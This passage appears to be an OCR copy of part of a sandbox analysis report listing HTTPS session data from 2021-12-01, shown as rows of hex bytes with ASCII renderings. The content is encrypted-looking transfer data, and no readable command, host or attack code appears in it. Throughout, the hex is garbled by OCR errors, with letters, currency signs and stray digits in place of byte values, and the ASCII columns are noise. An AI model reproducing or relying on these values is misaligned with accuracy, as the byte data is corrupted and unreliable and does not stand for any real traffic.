70 6d e7 c7 ad fd fc a7 d6 35 15 45 0a 24 78 8e c1 7 6f f9 ¢9 97 7b 73 48 ca 63 02 cc 84 07 9b 96 b3 91 1f 34 19 46 b1 0d
8589 64 €7 82 27 8d c7 47 93 a9 4c 19 47 b8 eb ad ad 7b 02 36 a3 62 5d 35 4e 68 29 dc eb 56 15 €9 85 99 7b 02 a4 05
d5 b9 9c 31 6e €9 aa 7e 10 7f 25 25 86 02 71 40 €0 d8 Oe 08 cc €2 77 7b 79 34 cf 2e e6 e7 15 Of 2b cb fe 1e 6d 23 64 d9
ff a8 fO 5e c4 d1 cO 5a b0 4f a3 8d f3 2f 1e 23 3b 2c 27 6a 32 12 e4 88 c1 4 36 40 31 a4 67 a8 35 d0 6a 16 37 d3 ab 22 31
82 70 9f 8a Ob 42 3d e4 €3 25 7a 98 d3 2b a3 22 2e 4e c8 f6 81 88 7c 5e 17 8e 78 6b be ee 1f 52 Oe 5 ef Ob 1c 55 d6 97
1f 12 38 4b 84 66 88 d4 54 86 84 48 5e f9 e0 53 f2
Data Ascii: hjVQ; IM>IdjlijLpm5E$xo{sHc4Fd'GLG{6b]5Nh)V{1n~%%q@w{y4.+m#d"ZO/#;,'26 @1g5j7"1pB=%z+".N
|"XkRUBKfTHAS

2021-12-01 08:15:23 UTC 3521 IN Data Raw: 85 fd a8 34 1d 74 1d 45 2d Oc 03 bf 85 c0 38 46 8b 96 31 b8 cc 17 8d 4d 5f c9 ef f2 41 f2 e4 90 79 50 cd dc 47
d4 70 3e 9a al 8f 7e a6 e5 b8 22 96 cd 1d 6d 8c 41 3b d1 ad 3e b8 43 e2 a5 38 ce 79 66 24 09 d3 f8 1d 92 78 Oc 9c 3f 41
68 16 64 2c ff 6e fb 15 c1 56 ed 05 5b 01 0f 9c 5e 41 b5 12 el 5b 48 23 a7 93 de d8 b0 eb 76 78 f5 83 €5 20 95 bb 1e ab
c4 64 0f d6 ac dd 83 f8 79 a4 c5 e4 ab 7f 6b b7 c0 €8 11 8d af 9b ed 6¢ 4c 02 6a c7 26 22 61 eb 8b be 7f 86 63 3e d3 d6
08 68 9e 22 4f b7 8e 45 fa 4d de fc 1b 93 98 f0 1f 6d 2d 1d a5 52 ae Oa 4a 99 9a c2 22 a5 3 65 15 35 98 fb 39 32 98 12 Ob
Oe 54 8a 7a 38 4a ed 98 44 b6 73 94 f1 1e 07 38 ba 39 96 a8 39 88 61 b9 49 e8 b5 9d b2 de cd b5 38 65 f4 4e bl 9a 2e
d4 4506 c4 11 e7 e0 f4 08 0f 2b 69 77 8b f1 d5 fO c2
Data Ascii: 4tE-8F1M_AyPGp>~"mA;>C8yf$x?Ahd,nV["A[H#vx dykILj&"ac>h"OEMm-RJ"e592Tz8JDs899al8eN.E+iw

2021-12-01 08:15:23 UTC 3537 IN Data Raw: 41 37 54 d8 06 90 a6 le 8a 32 2c f1 6d 18 1d Ob cf b2 b7 df 03 41 fb ee f7 fd c7 bf c5 6d a5 a7 a9 1c a2 00 2f
15 ad 63 64 f4 d2 d4 18 ce 86 fd 7d 7e 82 8f fe a5 24 02 32 72 8c 92 41 29 b9 72 98 a8 aa d5 ee 28 6e el 7a 3e ab d1 a2
20 f7 b3 5f 9e 10 3¢ 7 @9 ¢3 1f 97 75 c6 e3 ae 42 d4 5¢ 49 80 47 ed d4 36 c0 65 cc c6 ac 30 60 b7 35 6¢ d3 ca fd 5d 4c 6d
de ce 38 aa 35 8a al 89 44 63 a7 23 94 ea c8 c6 fc 6e 89 18 21 bd b9 9c a9 89 36 39 81 c9 4c f2 dc be 2f 73 01 d4 00 1c
65 7c 9c 2c a7 4a 3d 5b 4c 8d f3 12 Oc Oe d3 7f d5 c9 c1 5e d4 38 b2 99 65 b5 46 2a e3 9a 35 64 56 06 cc 5a 53 78 81 5a
06 f3 e7 cd f1 59 2e 74 be d4 45 21 ac 75 b5 d4 11 ca 20 e7 la e5 84 87 f1 b4 cd Oc 59 39 95 f5 4c 26 Oa 07 ee 76 51 96
ac 4e 6e c2 8 49 10 e9 8b 2c 5a 24 60 95 66 5f 81
Data Ascii: A7T2,mAm/cd}~$2rA)r(nz> _<uB\IG6e0 5I]Lm85Dc#n!69L/se|,J=[L"8eF*5dVZSxZY tE!u YOL&VQNNI,Z$'f_

2021-12-01 08:15:23 UTC 3545 IN Data Raw: d7 b9 a2 27 41 ee fa 66 96 ba f3 a7 86 €6 40 Ob 84 c8 71 df c4 6c Oe a6 7b d1 18 10 40 2a 57 a0 21 d9 98 1b
4f cf 74 50 de 8d 2d 11 fc d8 7c 26 Oe be 50 ae 01 e5 18 93 ca 30 d7 ac 5e bd 86 08 59 3e b8 9a cc fc f9 5¢ 87 d5 8¢ 4d
ed aa 76 7e 96 c6 ab 2d d2 b6 42 a6 26 1f 7b fa 81 3f 4b d5 ea 9e 1a 72 af 2c 5b fO dd 87 9e e3 27 35 88 e5 e4 88 67 85
3e 44 ed 46 bb ff 7d e8 07 d3 1c 58 e6 3e a2 32 de 95 45 08 97 c7 a0 ba d3 3a 87 34 5d 89 a2 56 9b c0 €9 7a 29 28 01 88
7a 99 f4 e4 0f 73 2a db 3c 8d 72 27 63 37 1f 19 18 e4 9 d7 4f 26 f8 ¢7 59 22 49 da f4 94 41 77 81 43 56 67 1d a5 6c c4 eb
76 7f 49 be 6e 30 f7 fd 21 18 ec cc ¢9 a2 25 a4 67 fc 42 5d aa 47 5¢ 51 32 95 d4 43 ee 93 33 €3 82 d4 d3 57 1a b0 9c 91
79 8e ac 5f 2d 6f f5 4f 37 dc 20 4e d6 96 b3 d1 15 62
Data Ascii: 'Af@ql{@*W!OtP-|&PONY>\Mv~-B&{?Kr,['5g>DF}X>2E:4]Vz)(zs*<r'c70&Y"IAWCVglvIn0!%gB]G\Q2C3Wy _-
007 Nb

2021-12-01 08:15:23 UTC 3561 IN Data Raw: 5e a6 3a 43 b5 d2 39 0d 92 8f df 36 2d 40 a0 6c a9 de d3 48 b0 63 75 79 04 9d 9e 66 03 dO 9f 8d d0 c9 11 ea
a7 12 7e 5a 86 56 06 d1 Oc cc 8b db 01 32 5 4d c5 59 e7 34 Ob c9 da ef f3 1b b0 68 7c 75 60 de 34 a6 02 3c b3 bc 73 43
fd 59 51 ae 7c 00 4b d7 a9 33 be ef bd 4a fa 65 df 60 3a 47 30 11 73 89 8b 1c a7 le 37 €9 76 b2 ae f4 2e 21 fd 00 de aa
10 Oe 03 e4 0d ce 23 c6 6f b2 eb c0 f9 8b 33 76 ec af a6 ac 31 fe 7d 72 29 67 84 8f 29 c0 1d 3f 7a cc 53 a6 2d bl 2b ce cl1
d8 b1 77 53 a7 16 9d 5¢c 78 a9 e4 24 83 cf 05 94 cf fc d9 cd 4e 29 9a 65 49 dc f8 83 2d 1f ca 3f d8 Of be ed 76 25 65 e9 39
03 6a 9e dc 94 9c fa 36 0f 67 67 e5 41 9c 65 39 6b 61 84 6f 82 73 ae fe 17 4e 18 a0 9a d9 02 9e 06 Ob a5 9e 4a 95 5f a6
59 d9 16 2a aa 36 25 70 77 8f ca a4 09 3e 8a ca f8
Data Ascii: ":C96-@IHcuyf~ZV2MY4h|u'4<sCYQ|K3Je :G0s7v.!#03v1}r)g)2zS-+wS\x$N)el-?v%e9j6ggAedkaosNJ _
Y*6%pw>

2021-12-01 08:15:23 UTC 3577 IN Data Raw: ae 23 4e 87 59 f5 37 fc f2 46 66 fO 9b 88 c2 1e 78 27 d6 3c ef 29 51 ac 98 79 8c 8d d7 f5 3c €9 79 b5 a6 62 fa
dc 4e 51 cb c¢7 88 cc ed bd ea eb 3d 5a df 0d cc 94 dc d9 62 3c a5 85 69 71 d1 bc 88 73 9b 9e 1a fe 1e 7f Oe c6 50 f3 77
a4 12 e9 3e 2b 05 3b 3d 70 80 Oc Oa el 88 28 b6 26 b4 f5 c2 31 e9 5c¢ f0 58 ff 71 84 6b 32 06 06 3c e4 cc dO 9c 7a 05 7f
d5 bc d5 ec e4 ac ae 1c d1 e2 d2 el e3 18 6¢ 73 ad ee 8e 86 49 52 cb 36 25 f4 40 dc c5 14 ae 95 65 41 64 75 ea 08 c1 37
30 83 6b Oa e4 8c dc ca 6a fO 1e 23 45 ea 3¢ 16 18 0f 75 79 5b 03 39 cc 7b 42 c8 ae 35 ae 40 c8 72 2 84 74 2f ce 3d 69
Oc 1a d5 e0 2c 03 30 ef 3e 9f 0a 93 34 10 7b fb d5 3f 98 ac 49 21 8b c1 3a 78 c0 5a 52 f8 79 f8 2e 21 89 56 62 c4 c9 eb a5
ac b9 cd 41 7e e9 2b 25 38 5e 0f 5¢ 3b c1 72 e7 e4
Data Ascii: #NY7Ffx'<)Qy<ybNQ=Zb<igsPw>+;=p(&1\Xgk2<zIsIR6% @ eAdu70kj#E<uy[9{B5@Trt/=i,0>4{?I!:xZRy.IV
bA~+%8"\;r
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kBytes
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2021-12-01 08:15:23 UTC 3593 IN Data Raw: d7 51 87 ea 29 86 d9 43 ec 24 c7 27 eb 29 70 ce 63 30 ef f9 78 be 1e 3a 2f 02 al 74 64 f4 a4 87 af cO c8 e5 4a
4c f9 bc 44 ec 24 d5 21 74 94 74 22 23 a0 77 77 b2 d1 89 43 b6 78 7a 30 07 ed 8b 77 d9 fa d1 bd Of 6b f6 59 ea €0 9b al
0d 06 82 71 4c 04 e5 e5 97 24 25 4¢ b9 9d 9a 94 74 4a 13 a9 77 76 70 c3 cc 81 5a 3d 18 3e f1 be cf a5 47 f2 34 36 d1 05
1f 4b 25 36 2f c4 5f c6 6e ac 2 1f d1 54 ec c3 el 9b b3 aa 4b a7 77 71 d5 e5 ce fe d4 e8 7d ba 4a c7 al 87 53 fb €9 69 45
e3 23 ab 4e 5f 07 87 26 9b b3 1f ba 14 1b cf 76 ec 40 d6 9c 7a 88 f0 10 4a e5 6¢ 82 c2 2d 06 4f 26 3e 02 11 e8 e9 e5 49
c9 de 8a 56 1f 1b 39 ff b9 60 78 6e 95 d6 be 60 16 30 9b 4b 2e 89 da d4 80 73 a2 9c a3 19 el 5a 27 99 a4 58 2e fb 47 fb
al a3 56 12 bb 5a 2f 80 73 ab 72 3f 0d 16 €9 03 17
Data Ascii: Q)C$')pcOx:/tdJLD$!tt"#wwCxzOwkY gL$%LtIwvpZ=>G46K%6/_nTKwq}JSIE#N_&v@zJI-O&>1V9 'xn 0K.sZ
'X.GVZ/sr?

2021-12-01 08:15:23 UTC 3609 IN Data Raw: a4 c6 19 ec bd 3c f3 de 13 26 eb 33 4f cd ba f5 el 7d €8 aa 3d 06 22 14 d1 70 93 84 dd e5 84 4c ea 68 57 2f 32
42 b5 6¢ 10 8d 48 ce b0 4e 14 9e b5 eb c6 d5 7b 3c 6a 8d 37 ¢7 14 82 db 32 e5 63 1f 28 83 7c b4 cc ce 47 e7 2d 02 16 1f
5a fc ba b0 40 d1 46 2a 6d 55 d6 4e 7f 89 3c 87 80 cc 45 81 e2 3a 17 32 36 63 b8 c8 9f 96 91 4e 1e 89 ac 9a ba 0d 67 c1
e5d3 1c 98 32 1e 58 3d c5 f3 2c c4 62 1e e4 8e 0d al 68 c1 05 14 cd c8 ab 9f ce 3d 41 31 69 fc 19 67 27 61 a2 d9 c9 cb
cf 92 99 db d8 84 0d e0 f6 05 a7 1le 66 85 bc a0 a0 7d e3 50 c1 23 5f 37 bf 48 1f c2 c9 c0 3e 06 d5 16 5e 7a 5f b7 49 e3 0d
e5 5¢ 9d 40 aa ef 3b 4b 88 a4 ff 84 6e 11 91 33 31 9e 72 c9 6b c7 €8 75 d2 4a be ce 0f 4d 6f 6b 25 b2 ad 8d 45 6f 70 1d
25 fb e7 b7 84 06 1f 3a cf 50 f3 72 77 36 51 ae 64
Data Ascii: <&30}="pLhW/2BIHN{<j72c(|G-Z@F*mUN<E:26cNg2X=,bh=Alig'afjP# 7H>"z_I\@;Kn31rkuIJMok%Eop%:P
rw6Qd

2021-12-01 08:15:23 UTC 3625 IN Data Raw: fc 17 75 f9 b4 e0 c0 8a d7 c9 Oa dd 41 07 5d 05 3e f6 d5 a7 b5 67 21 bb 50 95 5d ec 68 78 fb 5d 2d 16 91 fa a4
7e 7c c7 6d 37 b9 al e4 e3 97 be 18 dc ca bl f1 e7 a6 7f 62 43 71 78 cc 4b 93 c3 55 6a a8 5¢ 49 aa 68 68 e7 74 54 4c a6
6f da eb 62 3f 3b a8 1e 49 46 c8 4a d2 ee b3 a6 f4 2f bd 39 8a 68 3c df 05 ba 2a 1b 11 c9 36 32 e7 e6 cb 08 3d d9 6¢c ce
0d el 83 ea b0 ba 07 6d af 8c a2 02 cc 54 db b7 20 bd 8b 1e 2e ea 9d 51 15 ab 1b 4c 84 92 ee b0 Ob cb 08 91 4d 8c 8c 4d
22 7c 4e 32 ba 80 1a 27 db b9 d2 dO 4f b3 b9 2a e7 79 df 4d 12 ce 3d 33 75 87 22 1c 18 89 c4 05 97 8b 9e 9c b1 4d d3 2b
10 6d 1e a4 04 7b 53 83 db 06 5f 8d 9c 9e d0 90 75 fa dc f0 8d 7d d3 b6 e2 al 04 22 08 fc 59 78 14 el 00 4 fb dc e6 €9 f2
5a 00 e0 ea 41 9f 27 34 69 5c¢ 7 b7 8d 99 9c 4c dO
Data Ascii: UA]>g!P]hx]-~|m7bCgxKUj\lhhtTLob?;IFJ/9h<*62=ImT .QLMM"|N2'O*yM=3u"M+m{S_u}"YXZA'4i\L

2021-12-01 08:15:23 UTC 3641 IN Data Raw: 75 be 7e 20 de 4c 7e 01 d5 62 57 97 33 90 af 63 31 04 dc e0 03 3e 23 ch 31 €6 52 f1 db 71 71 51 64 dd 84 29
b1 32 bc 19 67 ab 69 5d 30 ab 83 48 f1 7e 44 13 8c a0 34 b3 21 b4 5a cb fa 22 34 d4 71 fd 65 6e cd 82 2b 24 1a b9 9f a2
ef 19 a2 46 79 b1 28 ea c3 95 4c 1e el a9 10 Oe 41 14 20 a7 75 df c7 Oc 6f be bc 74 9f 62 a3 0d a6 2c cf 17 29 b8 8e 47
ch 92 e7 eb 7b Oc f4 85 d6 92 fa be b3 el c9 16 fa 58 9a 68 25 17 28 8f 46 9b 6d f1 7d 07 c¢7 11 el 59 17 43 d2 5d 34 da
fd da 1f 3f 5¢c 69 43 a4 ac 7e 22 4b 08 63 15 4a 26 49 b7 3f 00 14 24 58 4c ca 30 39 d3 9d e2 5¢ 49 93 21 Oe 6b 04 94 3a
17 1d fc 01 df 24 31 d7 c1 5f fc b9 72 91 20 f9 97 23 3b bd 05 e9 ea d4 16 18 72 01 d0 5c 5f be 9d d1 e4 27 a8 82 50 fe 10
84 9a 69 63 29 c6 6d 80 ba f5 22 16 7a 22 87 ed 08 Of
Data Ascii: u~ L~bW3c1>#1RqqQd)2giJO0H~D4!Z"4gen+$Fy(LA uotb,)G{Xh%(Fm}YC]4\iC~"KcI&I?$XLONIIk:$1_r #;r\_'Pic
ym“z*

2021-12-01 08:15:23 UTC 3657 IN Data Raw: c8 64 2d 20 74 e4 e8 fc 3e 9c 56 35 1a bb 3c f9 ba b7 5b 99 93 64 cd a3 9e b5 91 dc e4 9d b0 fd 4d 23 bd 8a f6
21 e83b 6d 24 5¢ 31 cf ab 50 89 21 82 85 11 b0 6e bd a3 21 1c ae 34 da 75 f9 37 51 28 ba 3d e8 5e 48 31 ad 8b 70 67 €3
16 64 9a 29 6e 4d be 66 89 d6 d7 b5 b8 b3 74 df aa e9 c9 b0 fd 7e 68 24 42 b8 f4 63 dc c6 3a 34 88 70 8f d7 d1 f4 91 13
91 60 35 b8 33 af 76 ad 04 20 00 7b 7b 13 91 fe 38 7b 19 bf 2f 8b be 29 5¢ f3 a5 ab 91 el c1 c0 09 0f 27 63 a3 cd 84 a8 7h
bb b3 b5 21 db 56 85 c0 d4 ef fb 6¢ b1 a0 3e 25 39 5d 40 ad b4 79 6d 26 76 7d c2 70 ad Of 82 de 14 b7 8e dc d7 7b 79 a3
6 88 7c 2f 24 51 c1 f9 e8 da 4f 7c 2b 95 e7 a5 46 d0 ea al 9b cc 92 9a fb a9 4d a7 c4 76 47 4a 8d 03 d9 3e a9 84 d9 e9
dO ea Oa bb al 85 42 11 04 6a fb 2a 7a 61 51 53 99
Data Ascii: d- t>V5<[dM#!;m$\1P!n!4u7Q(="H1pgd)nMft~h$Bc:4p 53V {{8{/)\'c{!VI>%9]@ym&v}p{y|/$QO|+FMvGJI>Bj*zaQS

2021-12-01 08:15:23 UTC 3673 IN Data Raw: c4 31 ee 19 09 13 7c 24 Oe 9c fb 5a d1 f8 38 e4 8a 87 a9 f1 22 95 46 5b dd 48 d9 ca 37 7c 9a 5¢ 87 43 91 81
14 b9 27 95 d1 a9 64 84 fb 3c a5 4c 9f c8 51 1d 90 Of 15 37 40 4e c0 4a 28 8a f6 €7 6b 15 28 5e f4 5e 43 22 ¢8 96 75 36
19 6f 8¢ dc 18 15 a2 32 d0 38 6b df 01 f9 42 9d 54 85 Oe 30 40 3d 34 cd 63 a4 c5 a9 2c b8 7d 09 1e 99 c1 c1 7b fc ef 75
66 f1 23 2a bc c0 41 d2 a8 e6 fa e5 bb 3a 80 27 3e e2 00 48 80 a9 87 09 d1 c9 fe 8a 06 f6 1e 5a 39 ac 21 44 bf d7 59 f6 3d
Oe 4e 09 1e 5b 1c f9 01 f9 f1 ef 3a 50 00 75 1a 47 59 90 1le 5e e4 32 d9 6e ae ea c3 49 45 e6 3f 64 ad 00 b5 15 64 49 21
d3 f0 01 6a cc 01 50 d9 09 21 f4 8c 6b f1 40 69 c2 6d 43 5e cc 6a b8 e6 81 03 2a 8f 25 aa 9d 05 84 e9 ca c0 95 69 98 50
ec c1 40 6f 1e el 06 b2 6f 89 b6 a9 52 07 6¢ dc 4c 88
Data Ascii: 1/$28"F[H7|\C'd<LQ7@NJ(k(*C"u6028kBTO@=4c, {uf#*A:'>HZ9!DY=N[:PuG Y 2nIE2dd!!jP'k@imC"j*
%iP@o0RIL

2021-12-01 08:15:23 UTC 3689 IN Data Raw: 07 92 28 93 f3 87 36 74 88 40 cc 90 8f 23 1d 8f f4 44 58 €9 ba 5f 9a 66 e5 dc d7 6b 20 66 6¢ 00 8e 62 73 a6 €6
49 b4 c0 54 79 5¢ 63 95 c¢5 9b 38 53 ¢5 23 ¢8 50 cf 75 4c 8b 2e e0 62 ab 8e 96 f1 83 7b 84 ac 2c 13 99 f3 ef 1a 67 cf 39 0d
1158 df 25 9b e1 17 c0 5¢ 3b f8 ac ¢6 50 11 30 3d ef 19 ff 95 7c ca eb 09 99 97 7e e8 35 d9 36 73 eb ba 56 77 5a f2 1d
30 a2 41 eb 37 27 36 35 cc f1 9a 9d a3 37 8f 3c b7 59 7d f4 90 33 1b 54 f4 6a 00 al 13 b6 b8 60 00 74 ba 44 de 1e c8 4b
bf 93 18 4d 7a 6a b4 5b 31 9c 24 e8 6b ee 80 fe a8 7c 04 ba 81 2f e2 dd 6b 6 e0 4c 81 f3 7b ce 4c 3b 75 b3 41 06 ed 0f 03
d0 ea 55 3e b1 0d c3 Oc 3f 8b ab de 70 c1 3c 21 e3 ca 5b d7 91 56 68 44 88 fc de 96 Ob 28 el 3e ce 6a 7b d8 a4 e4 7c 97
41 07 5f 54 20 5b 06 bc 77 8c 7f 98 10 a4 95 11
Data Ascii: (6t@#DX_fk flbsITy\c8S#PuL.b{,g9X%\;P0=|~56sVWZ0A7'657<Y}3Tj tDKMzj[1$K|/KL{L;uAU>?p<![VhD(>}{|A_T
[w

2021-12-01 08:15:23 UTC 3705 IN Data Raw: 21 1a 16 03 b6 d6 b1 2c 95 48 34 20 6f el ce 15 fd 19 10 e0 57 7d a8 45 c6 80 b7 91 5¢ 7b e2 6b d8 af d3 50
le 8e 9e 5d ec 12 ba 6d e9 58 2c¢ 81 30 38 86 3a 35 c8 4f 61 f5 b6 eb 8f 29 01 4c b0 11 93 32 a5 ea 39 e5 4a de 9b b0 24
9b 01 5a 22 9a 72 dd 7d 9c c4 c6 cb 28 8b 0f 2e d3 f5 c4 95 de cf a5 34 fb 3e 69 fa b9 ce ed d9 b0 6d 48 18 cb 08 f4 ed 34
98 79 35 98 3f 46 €6 8a c7 2c b0 6a 2d 3f 73 4c 87 b0 fb 99 c0 3d 62 af 46 ec d9 c5 33 c1 el e3 9b 2a d8 €9 le af 51 90
b5 9¢ 23 8f bl be d5 22 4d 6d e3 f7 50 ce 54 78 81 ad 94 0f 33 2e 53 43 cf bd 9d 33 d6 29 ff 52 df c0 73 1c 5 d2 c3 40 d5
5b b6 2a 65 ec bd 2a 3d 73 a7 13 6a 80 79 4e 91 33 f6 97 1d 56 9b e2 a9 68 5a ae a6 13 ¢4 59 75 7f f2 29 10 d5 2c 63 7f
73 d8 04 28 ca 41 d3 81 05 45 2a 08 fe 49 11 ce 35
Data Ascii: ,H4 oW}E{KP]mX,08:50a)L.29J$Z"r}(.4>imH4y5?F j-?sL=bF3*Q#'MmPTx3.SC3)Rs@[*e*=sjyN3VhZYu
),cs(AE*I5

2021-12-01 08:15:23 UTC 3721 IN Data Raw: 82 f5 33 58 35 70 54 b3 eb 6e 8f 8f e5 4a c7 e4 al 66 cO f5 8e 89 ec 97 a5 3a ac 42 b2 bb fc 57 62 c9 ef 01 08
88 49 21 9b 20 55 bb bd 58 4e 54 57 03 2d ae 16 19 cd 1d 51 43 6d 46 5d d9 bd 7f 43 cO 55 5a c1 39 30 88 dc d0 20 14 fc
b0 eb al 83 09 50 df 66 1a a9 f3 d1 c7 9b 1f b0 85 11 ff 53 26 df 22 c9 79 5¢ 53 18 31 48 d3 d6 d7 6e 6b 65 c6 04 04 e9
25 fc cd 01 ee 23 23 5 8 88 38 03 93 6f 29 07 d1 39 41 08 Of ea b9 12 8f db 6b 6b 64 f2 d4 bb 04 bb 2c d4 2f c4 8b 3b 14
a5 6b af 54 2d 78 b0 60 c9 33 20 e2 07 a8 e7 32 71 10 4c 73 95 fa 7d 36 cb 24 d8 ae €0 79 ec f3 08 7a 48 04 55 54 af 9d
81 f5 9c 9f 50 1f ef 04 1c 59 b3 f9 07 64 82 6¢ 31 02 01 7c 6¢ fd c7 24 46 17 21 63 9b cc 8d c7 f3 4b 1d 4f 15 6¢ 29 53 3e
54 al c7 b3 df 0a 57 90 92 2c f3 ee 7a 73 86 6¢
Data Ascii: 3X5pTnJf:BWbI! UXNTW-QCmF]CUZ90 PfS&"y\S1Hnke%##80)9Akkd,/;kT-x"3 2qLs}6$yzHUTPYdI1|ISF!
cKOIl)S>TW,zsl
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:23 UTC 3737 IN Data Raw: e7 ee d8 60 be a3 47 40 78 d0 5a 08 65 cf 5a 11 be c6 59 3c d0 63 e4 73 7c e6 03 b2 ef 8e 2e 64 dd 1a 57 9b
f7 €3 6a 9b 63 11 b6 €9 e0 8a 27 5e ed 15 50 49 83 a2 10 70 9f a6 12 c9 3b f1 80 38 86 17 01 74 aa 5b 33 9e 01 10 cd a9
e38b 35 96 08 7c cc Oc 46 ee Oc b6 74 c4 c3 e4 1d dO b2 43 32 c2 8c bf 2e db 58 12 46 dd 1c bf 73 6d a9 22 b3 39 98 8d
eb 4b 46 bl 6e 5a b6 dd 79 58 5d 9b 69 86 el 52 51 04 ce aa ab 62 f6 6 47 c8 22 4d f4 ad 48 9f 93 4e e4 cc 33 9b da d7
4c 5b d7 74 cc 56 e8 f1 d6 73 cd a4 61 ea bb 68 57 8f 99 f9 b3 8b b8 e7 87 61 39 a8 85 7e cf 17 62 77 51 a7 9c 9d d1 8d
le 1a 09 f8 10 e0 32 d8 32 f8 15 11 aa e7 de 44 34 38 85 15 7c¢ 44 90 c9 81 d5 32 3c 68 13 dd 20 b5 60 69 c7 d2 10 a7 6¢c
60 c2 2a 0a 0d d5 82 fa ee b6 65 b5 74 dO ea 2d 33 f7 7b
Data Ascii: ‘G@xZeZY<cs|.dWjc"*PIp;8t[35|FtC2.XFsm"9KFnZyX]iRQbG"MHN3L[tVsahWa9~bwQ22D48|D2<h il *et-3{

2021-12-01 08:15:23 UTC 3753 IN Data Raw: 00 6b ff bb 52 ea bc €9 2f 83 29 8e af 02 db bb fb 74 02 a9 20 26 77 63 3f 67 54 29 e2 8 65 dd 59 b2 84 e6 b7
9a 2 11 6¢ ce 8a 2c de 2b 24 d5 80 df 14 46 al 1b 79 42 eb 94 33 e0 ba ce 40 96 d4 21 db dd de b6 96 5a ae 39 1b ff 32
b8 67 d6 77 28 bf Of 82 30 5f 50 88 54 83 b7 f2 c9 fb 75 7e d5 10 69 97 39 e4 cc 5b 2f be d2 73 6¢ 53 bl e7 44 82 ad 4a
al b4 6a 9a 62 65 2c a9 67 bf 1a d1 ec 29 5f d4 3b 58 ca ea 66 62 ee 36 02 28 82 38 57 a6 f3 30 b2 48 97 ec 75 28 a9 1f
30 9a 5f 1a 96 d9 8b 25 a4 0f al d5 da d3 9b a0 79 d3 1f e0 67 92 bd bd cd d7 83 b3 ce eb 08 19 62 14 {7 72 c2 28 f8 93 ff
f9 64 ef Od 79 46 4d c6 63 68 34 3 42 93 3b d5 44 69 15 9c 09 7f 12 fc bb 9d 9e dc 18 65 e0 76 bf 51 d5 87 ea 12 08 43
87 598 65 83 bd 1b e2 86 7e 28 €9 00 1f 85 b2 5b
Data Ascii: kR/)t &wc?gT)eYl,+$FyB3@!Z292gw(0_PTu~i9[/sISDJjbe,g)_;Xfb6(8WOHuU(0_%ygbr(dyFMch4B;DievQCe~([

2021-12-01 08:15:23 UTC 3769 IN Data Raw: 6a 41 5d 85 29 11 4c 8 fa 36 5a eb d6 46 1b 7f Of 63 3a 46 b5 3c 6f d2 8f 0a 02 61 06 70 a3 14 68 7c e2 ca 8e
0f 10 6a e0 6e 4f 72 ae 5¢ 00 6d 7a 13 b9 62 98 Of be 2c eb 96 8e ea 1e a7 5d 5f 09 09 70 68 67 12 01 16 ac 88 d8 8e ca
48 c7 ab 08 45 db c2 ac 3e 4b 28 d8 cb 42 61 3f 16 63 70 e7 8f 9d 20 af 37 cb 8c ea 99 2a e5 73 35 fe 92 cb c2 8b 5f a0
23 59 ee 15 58 32 03 37 e7 1f 9d 22 1a 73 b5 94 1a 50 92 41 3c ab f1 1a 8f 7d f8 25 02 57 00 c5 6¢ 15 6d €0 e4 dd d2 68
b5 da f4 20 39 db e6 44 3e be eb fa 3d 1a 33 85 4c b3 f0 41 10 23 f6 92 4b 3c 29 2e 80 c6 dc 70 b8 Oc 5b 53 7a 28 0a 52
bd 1a d9 4b 6e 43 0f b7 a6 df 4d 15 2a 3a 39 de 94 fb f2 ea 06 88 06 al 41 ab 3b d2 4a 96 Oc 5b 66 79 02 70 b4 49 50 f2
ac 3e 8d 62 ef 26 cc 54 62 f3 09 f8 a8 81 10 a5 e8 e7
Data Ascii: jJA])L6ZFc:F<oaph|jnOr\mzb,]_phgHE>K(Ba?cp 7*s5_#YX27"sPA<}%WImh 9D>=3LA#K<).p[Sz(RKnCM*:
9A;J[fypIP>b&Tb

2021-12-01 08:15:23 UTC 3785 IN Data Raw: e8 b6 40 2f f0 90 6a 33 4a db e3 23 c1 a6 65 e5 ff 97 83 c3 6e Oa 38 96 58 97 bb 8a 91 74 ac a2 al 63 16 46
92 68 e0 el 5a 2f b3 78 4a f0 6b 79 44 e5 31 58 07 d5 f8 d4 88 80 e4 6f 91 25 65 f7 21 f8 37 b0 23 9c 03 60 74 23 09 d6
3515 7a 42 20 57 c5 fe 78 12 db a5 bc 32 5d ¢8 82 9e 67 e0 91 98 de a3 ed 43 45 19 4b 28 95 49 9c 38 2f 5d el 68 c6 95
08 ff b3 12 8a b9 98 23 ¢3 17 00 d5 d7 fa a2 c6 3c ec bd 9d 8d 60 9c 9e 35 3d 35 81 2a 76 a0 81 31 33 84 db 85 al e7 f9
8a cd 33 12 30 af 22 el 06 66 2b 50 75 54 3f 3f b5 60 e0 89 ef b0 el 60 a9 f0 57 61 58 1e ac 70 cf 2e bc 9¢c 99 10 56 24
8b 84 1a el 83 a3 51 fc 5¢ d2 6f 3c 66 b8 63 aa b1l a4 c0 08 97 d8 a8 12 83 da 4c a8 dd fc dd 36 1a 8e e6 a6 d6 6f fO 5¢
dd d0 77 bd 23 d9 b4 9b c2 18 38 03 51 10 33 cb 2e 6e 9d
Data Ascii: @/j3J#en8XtcFhZ/xJkyD1Xo%e!7# t#5zB Wx2]gCEK (18/]h#<"5=5*v1330"f+PuT??" " WaXp.V$Q\o<fcL60o
\w#8Q3.n

2021-12-01 08:15:23 UTC 3801 IN Data Raw: 76 4c 9d 2f fd 3f 46 77 11 55 df bc 8f 05 d7 fO e4 4c 1c 58 df ¢8 00 4e bf 44 31 02 10 8e 8c 84 a9 4f 78 be 11 ab
36 a3 63 c52b a3 al c6 5f59 45 a7 bl fd 54 86 13 €5 ¢8 18 63 7e 73 6¢ 80 13 8f 74 73 Ob 36 b2 d6 74 21 56 9a d2 aa 2d
92 05 dd 7f 4d 3b 67 db bb a3 dd 6¢c ec 14 70 ef 22 9b c4 18 e3 fc 2a d9 d1 bd 5f 5f d4 cb ba c6 1d 97 5e e4 f6 54 €0 ae ce
28 e7 2f 7a bc 8¢ 9e 1b 8e 03 54 65 62 4f f2 97 b2 3a 55 3a 07 ¢3 55 47 44 fe 87 38 bf 3f fe 5¢c el de 92 a7 52 a2 4e fb d4
4c 21 be 57 db 36 d6 dO 78 af 88 09 d3 ¢5 f8 ed c7 97 4b b9 9 fe 8e 66 00 73 6a 98 fd cO b9 af 1c 7c 2a 80 cc el a2 3c 78
7d dd 43 dc 7d 29 ed 00 b0 f3 f6 5f 2e 38 9b €6 5d 19 bb bb 5e b1 12 65 62 20 b0 8 cf f0 2e 03 f8 30 7d c7 ed 9b 2e €0 bf
2d d7 9a fa 45 1 32 9b 0d d5 16 e9 5f
